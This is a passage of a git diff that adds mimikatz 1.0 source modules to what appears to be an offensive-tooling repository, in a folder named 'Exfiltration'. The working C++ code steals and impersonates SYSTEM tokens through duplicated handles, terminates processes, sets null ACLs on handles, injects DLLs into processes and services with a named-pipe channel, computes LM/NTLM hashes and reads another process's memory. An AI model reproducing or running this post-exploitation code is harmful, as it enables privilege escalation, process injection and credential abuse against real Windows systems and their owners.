+ LONG OwnerSID_offset;
+ DWORD Type;
+ DWORD Certificate_Length;
+ LONG Certificate_offset;
+ } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION;
+
+ typedef struct _EFS_CERTIFICATE_DATA {
+ LONG CertificateThumbprint;
+ DWORD CertificateThumbprint_Length;
+ LONG ContainerName_Offset;
+ LONG ProviderName_Offset;;
+ LONG DisplayName_Offset;
+ } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA;
+
+ typedef struct _EFS_FEK {
+ DWORD Key_Lenght;
+ DWORD Entropy;
+ ALG_ID Algorithm;
+ DWORD Reserverd;
+ BYTE Key[1];
+ } EFSFEK, *PEFS_FEK;
+
+ typedef struct _SIMPLE_BYTE_ARRAY{
+ SIZE_T nbElements;
+ PBYTE tableau;
+ } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY;
+
+ static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
+ static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
+ static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList);
+
+ static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek);
+ static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset);
+
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool infos(vector<wstring> * arguments);
+ static bool full(vector<wstring> * arguments);
+ static bool toraw(vector<wstring> * arguments);
+ static bool fromraw(vector<wstring> * arguments);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp
new file mode 100644
index 0000000..8e45ee6
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp
@@ -0,0 +1,301 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_handle.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_handle::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du système (pour le moment juste les processus et tokens)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles"));
+ return monVector;
+}
+
+bool mod_mimikatz_handle::list(vector<wstring> * arguments)
+{
+ vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
+
+ bool isProcessList = mod_process::getList(mesProcess);
+ vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
+
+ DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0);
+
+ if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id))
+ {
+ for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
+ {
+ HANDLE hProcess;
+ if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
+ {
+ HANDLE nouveauHandle;
+ if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
+ {
+ wstring tokenType;
+ if(mod_system::getHandleType(nouveauHandle, &tokenType))
+ {
+ bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0);
+ bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0);
+
+ if(isToken || isProcess)
+ {
+ (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" ";
+
+ if(isProcessList)
+ {
+ mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
+ if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess))
+ (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right;
+ delete processHote;
+ }
+
+ (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t';
+
+ if(isToken)
+ {
+ wstring userName, domainName;
+ if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
+ (*outputStream) << L'\t' << domainName << L'\\' << userName ;
+ else (*outputStream) << mod_system::getWinError();
+ }
+ else if(isProcess)
+ {
+ DWORD monPid = GetProcessId(nouveauHandle);
+ (*outputStream) << monPid;
+
+ if(isProcessList)
+ {
+ mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
+ if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess))
+ (*outputStream) << L'\t' << processKiwi->szExeFile;
+ delete processKiwi;
+ }
+ }
+ (*outputStream) << endl;
+ }
+ }
+ CloseHandle(nouveauHandle);
+ }
+ CloseHandle(hProcess);
+ }
+ }
+ }
+ else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
+
+ delete mesHandles;
+
+ return true;
+}
+
+bool mod_mimikatz_handle::processStop(vector<wstring> * arguments)
+{
+ vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
+
+ bool isProcessList = mod_process::getList(mesProcess);
+ vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
+
+ if(mod_system::getSystemHandles(mesHandles))
+ {
+ for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
+ {
+ HANDLE hProcess;
+ if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
+ {
+ HANDLE nouveauHandle;
+ if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
+ {
+ wstring tokenType;
+ if(mod_system::getHandleType(nouveauHandle, &tokenType))
+ {
+ if(_wcsicmp(tokenType.c_str(), L"process") == 0)
+ {
+ if(isProcessList)
+ {
+ mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
+ mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
+ DWORD monPid = GetProcessId(nouveauHandle);
+ if(
+ mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) &&
+ mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)
+ )
+ {
+
+ for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
+ {
+ if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
+ setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
+ setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
+ monPid << L'\t' << processKiwi->szExeFile << endl;
+ ;
+
+
+ (*outputStream) << L"\tTerminate Process - ";
+ if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0)
+ {
+ (*outputStream) << L"OK";
+ }
+ else
+ {
+ (*outputStream) << L"KO ; " << mod_system::getWinError() << endl <<
+ L"\tJob : ";
+
+ if(HANDLE monObject = CreateJobObject(NULL, NULL))
+ {
+ if(AssignProcessToJobObject(monObject, nouveauHandle))
+ {
+ (*outputStream) << L"TerminateJobObject - ";
+ if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0)
+ {
+ (*outputStream) << L"OK";
+ }
+ else (*outputStream) << L"KO ; " << mod_system::getWinError();
+ }
+ else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError();
+ CloseHandle(monObject);
+ }
+
+ }
+
+ (*outputStream) << endl;
+ }
+ }
+ }
+ delete processKiwi;
+ delete processHote;
+ }
+ }
+ }
+ CloseHandle(nouveauHandle);
+ }
+ CloseHandle(hProcess);
+ }
+ }
+ }
+ else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
+
+ delete mesHandles;
+
+ return true;
+}
+
+bool mod_mimikatz_handle::tokenImpersonate(vector<wstring> * arguments)
+{
+ PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast<PNT_SET_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess"));
+ vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
+
+ bool isProcessList = mod_process::getList(mesProcess);
+ vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
+
+ if(mod_system::getSystemHandles(mesHandles))
+ {
+ for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
+ {
+ HANDLE hProcess;
+ if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
+ {
+ HANDLE nouveauHandle;
+ if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
+ {
+ wstring tokenType;
+ if(mod_system::getHandleType(nouveauHandle, &tokenType))
+ {
+ if(_wcsicmp(tokenType.c_str(), L"token") == 0)
+ {
+ if(isProcessList)
+ {
+ mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
+ if(
+ mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)
+ )
+ {
+ wstring userName, domainName;
+ if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
+ {
+ if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
+ setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
+ setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
+ domainName << L'\\' << userName << L'\t';
+
+ if(mod_secacl::exchangeDupToken(&nouveauHandle))
+ {
+ if(ImpersonateLoggedOnUser(nouveauHandle))
+ {
+ (*outputStream) << L"ok !!" << endl;
+ break;
+ }
+ else
+ {
+ (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl;
+ }
+ }
+ else
+ {
+ (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl;
+ }
+
+ }
+ }
+ else (*outputStream) << mod_system::getWinError();
+ }
+ delete processHote;
+ }
+ }
+ }
+ CloseHandle(nouveauHandle);
+ }
+ CloseHandle(hProcess);
+ }
+ }
+ }
+ else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
+
+ delete mesHandles;
+
+ return true;
+}
+
+bool mod_mimikatz_handle::nullAcl(vector<wstring> * arguments)
+{
+ vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
+ if(mod_system::getSystemHandles(mesHandles))
+ {
+ for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
+ {
+ HANDLE hProcess;
+ if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
+ {
+ HANDLE nouveauHandle;
+ if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
+ {
+ wstring tokenType;
+ if(mod_system::getHandleType(nouveauHandle, &tokenType))
+ {
+ bool toACL = true;;
+ if(!arguments->empty())
+ toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end();
+
+ if(toACL)
+ (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl;
+ }
+ CloseHandle(nouveauHandle);
+ }
+ CloseHandle(hProcess);
+ }
+ }
+ }
+ else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
+
+ delete mesHandles;
+
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h
new file mode 100644
index 0000000..961991c
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h
@@ -0,0 +1,23 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_process.h"
+#include "mod_secacl.h"
+#include <iostream>
+#include <algorithm>
+
+class mod_mimikatz_handle
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool list(vector<wstring> * arguments);
+ static bool processStop(vector<wstring> * arguments);
+ static bool tokenImpersonate(vector<wstring> * arguments);
+ static bool nullAcl(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp
new file mode 100644
index 0000000..302c05e
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp
@@ -0,0 +1,43 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_hash.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_hash::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractères"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractères"));
+ return monVector;
+}
+
+bool mod_mimikatz_hash::lm(vector<wstring> * arguments)
+{
+ wstring chaine, hash;
+
+ if(!arguments->empty())
+ chaine = arguments->front();
+
+ if(mod_hash::lm(&chaine, &hash))
+ (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl;
+ else
+ (*outputStream) << L"Erreur de calcul du hash LM" << endl;
+ return true;
+}
+
+bool mod_mimikatz_hash::ntlm(vector<wstring> * arguments)
+{
+ wstring chaine, hash;
+
+ if(!arguments->empty())
+ chaine = arguments->front();
+
+ if(mod_hash::ntlm(&chaine, &hash))
+ (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl;
+ else
+ (*outputStream) << L"Erreur de calcul du hash NTLM" << endl;
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h
new file mode 100644
index 0000000..96ac879
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h
@@ -0,0 +1,18 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_hash.h"
+#include <iostream>
+
+class mod_mimikatz_hash
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool lm(vector<wstring> * arguments);
+ static bool ntlm(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp
new file mode 100644
index 0000000..012c62a
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp
@@ -0,0 +1,25 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_impersonate.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_impersonate::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf"));
+ return monVector;
+}
+bool mod_mimikatz_impersonate::revert(vector<wstring> * arguments)
+{
+ (*outputStream) << L"RevertToSelf : ";
+ if(RevertToSelf())
+ (*outputStream) << L"ok";
+ else
+ (*outputStream) << L"ko ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h
new file mode 100644
index 0000000..da62b37
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h
@@ -0,0 +1,19 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_process.h"
+#include "mod_thread.h"
+#include <iostream>
+
+class mod_mimikatz_impersonate
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool revert(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp
new file mode 100644
index 0000000..74ca84d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp
@@ -0,0 +1,120 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_inject.h"
+#include "..\global.h"
+
+mod_pipe * mod_mimikatz_inject::monCommunicator = NULL;
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service"));
+ return monVector;
+}
+
+bool mod_mimikatz_inject::process(vector<wstring> * arguments)
+{
+ wstring processName = arguments->front();
+ wstring fullLib = arguments->back();
+
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ if(mod_process::getUniqueForName(&monProcess, &processName))
+ {
+ (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl;
+ injectInPid(monProcess.th32ProcessID, fullLib);
+ }
+ else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl;
+
+ return true;
+}
+
+bool mod_mimikatz_inject::service(vector<wstring> * arguments)
+{
+ wstring serviceName = arguments->front();
+ wstring fullLib = arguments->back();
+
+ mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
+ if(mod_service::getUniqueForName(&monService, &serviceName))
+ {
+ (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl;
+ (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl;
+ injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib);
+ }
+ else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl;
+
+ return true;
+}
+
+bool mod_mimikatz_inject::pid(vector<wstring> * arguments)
+{
+ wstring strPid = arguments->front();
+ wstring fullLib = arguments->back();
+
+ DWORD pid;
+ wstringstream monStream(strPid);
+ monStream >> pid;
+
+ injectInPid(pid, fullLib, !(arguments->size() >= 3));
+
+ return true;
+}
+
+bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
+{
+ bool reussite = false;
+
+ if(!isComm || (isComm && !monCommunicator))
+ {
+ if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
+ {
+ if(isComm)
+ {
+ wstring monBuffer = L"";
+
+ monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
+ (*outputStream) << L"Attente de connexion du client..." << endl;
+
+ if(monCommunicator->createServer())
+ {
+ (*outputStream) << L"Serveur connecté à un client !" << endl;
+ if(monCommunicator->readFromPipe(monBuffer))
+ {
+ (*outputStream) << L"Message du processus :" << endl << monBuffer << endl;
+ }
+ else
+ {
+ (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl;
+ closeThisCommunicator();
+ }
+ }
+ else
+ {
+ (*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl;
+ closeThisCommunicator();
+ }
+ }
+ else
+ (*outputStream) << L"Injecté sans communication (legacy)" << endl;
+ } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"Erreur : un canal de communicaton est déjà ouvert" << endl;
+
+ return reussite;
+}
+
+
+bool mod_mimikatz_inject::closeThisCommunicator()
+{
+ if(monCommunicator)
+ {
+ (*outputStream) << L"Fermeture du canal de communication" << endl;
+ delete monCommunicator;
+ monCommunicator = NULL;
+ }
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h
new file mode 100644
index 0000000..92b4884
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h
@@ -0,0 +1,33 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_inject.h"
+#include "mod_system.h"
+#include "mod_process.h"
+#include "mod_service.h"
+#include "mod_pipe.h"
+#include <iostream>
+
+class mod_mimikatz_inject
+{
+private:
+ static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true);
+ static void startComm();
+
+public:
+ static mod_pipe * monCommunicator;
+ static bool closeThisCommunicator();
+
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool pid(vector<wstring> * arguments);
+ static bool process(vector<wstring> * arguments);
+ static bool service(vector<wstring> * arguments);
+
+ static bool injectlegacy(vector<wstring> * arguments);
+
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp
new file mode 100644
index 0000000..0d61227
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp
@@ -0,0 +1,140 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_minesweeper.h"
+#include "..\global.h"
+
+char DISP_MINESWEEPER[] = "012345678.F? !!";
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_minesweeper::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
+ return monVector;
+}
+
+bool mod_mimikatz_minesweeper::infos(vector<wstring> * arguments)
+{
+ structHandleAndAddr * maStruct = new structHandleAndAddr();
+ if(giveHandleAndAddr(maStruct))
+ {
+ STRUCT_MINESWEEPER_GAME monGame;
+ if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper))
+ {
+#ifdef _M_IX86
+ if(mod_system::GLOB_Version.dwBuildNumber >= 7000)
+ monGame.pBoard = monGame.pBoard_WIN7x86;
+#endif
+ STRUCT_MINESWEEPER_BOARD monBoard;
+ if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper))
+ {
+ (*outputStream) << L"Mines : " << monBoard.nbMines << endl <<
+ L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl <<
+ L"Champ : " << endl << endl;
+
+ char ** monTableau;
+ monTableau = new char*[monBoard.nbLignes];
+ for(DWORD l = 0; l < monBoard.nbLignes; l++)
+ monTableau[l] = new char[monBoard.nbColonnes];
+
+ parseField(maStruct, monBoard.ref_visibles, monTableau, true);
+ parseField(maStruct, monBoard.ref_mines, monTableau, false);
+
+ for(DWORD l = 0; l < monBoard.nbLignes; l++)
+ {
+ (*outputStream) << L'\t';
+ for(DWORD c = 0; c < monBoard.nbColonnes; c++)
+ (*outputStream) << monTableau[l][c] << L' ';
+ (*outputStream) << endl;
+ delete[] monTableau[l];
+ }
+ delete[] monTableau;
+ } else (*outputStream) << L"Impossible de lire les données du plateau" << endl;
+ } else (*outputStream) << L"Impossible de lire les données du jeu" << endl;
+ CloseHandle(maStruct->hMineSweeper);
+ }
+ delete maStruct;
+
+ return true;
+}
+
+bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible)
+{
+ DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE);
+
+ STRUCT_MINESWEEPER_REF_ELEMENT maRefElements;
+ if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
+ {
+ PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements];
+ if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
+ {
+ for(DWORD c = 0; c < maRefElements.nbElements; c++)
+ {
+ STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement;
+ if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
+ {
+ void * cellules = isVisible ? reinterpret_cast<void *>(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast<void *>(new BYTE[maRefColonneElement.nbElements]);
+ if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper))
+ {
+ for(DWORD l = 0; l < maRefColonneElement.nbElements; l++)
+ {
+ if(isVisible)
+ monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast<DWORD *>(cellules)[l]];
+ else
+ if(reinterpret_cast<BYTE *>(cellules)[l]) monTableau[l][c] = '*';
+ }
+ } else (*outputStream) << L"Impossible de lire les élements de la colonne : " << c << endl;
+ delete[] cellules;
+ } else (*outputStream) << L"Impossible de lire les références de la colonne : " << c << endl;
+ }
+ } else (*outputStream) << L"Impossible de lire les références des colonnes" << endl;
+ delete[] ref_colonnes_elements;
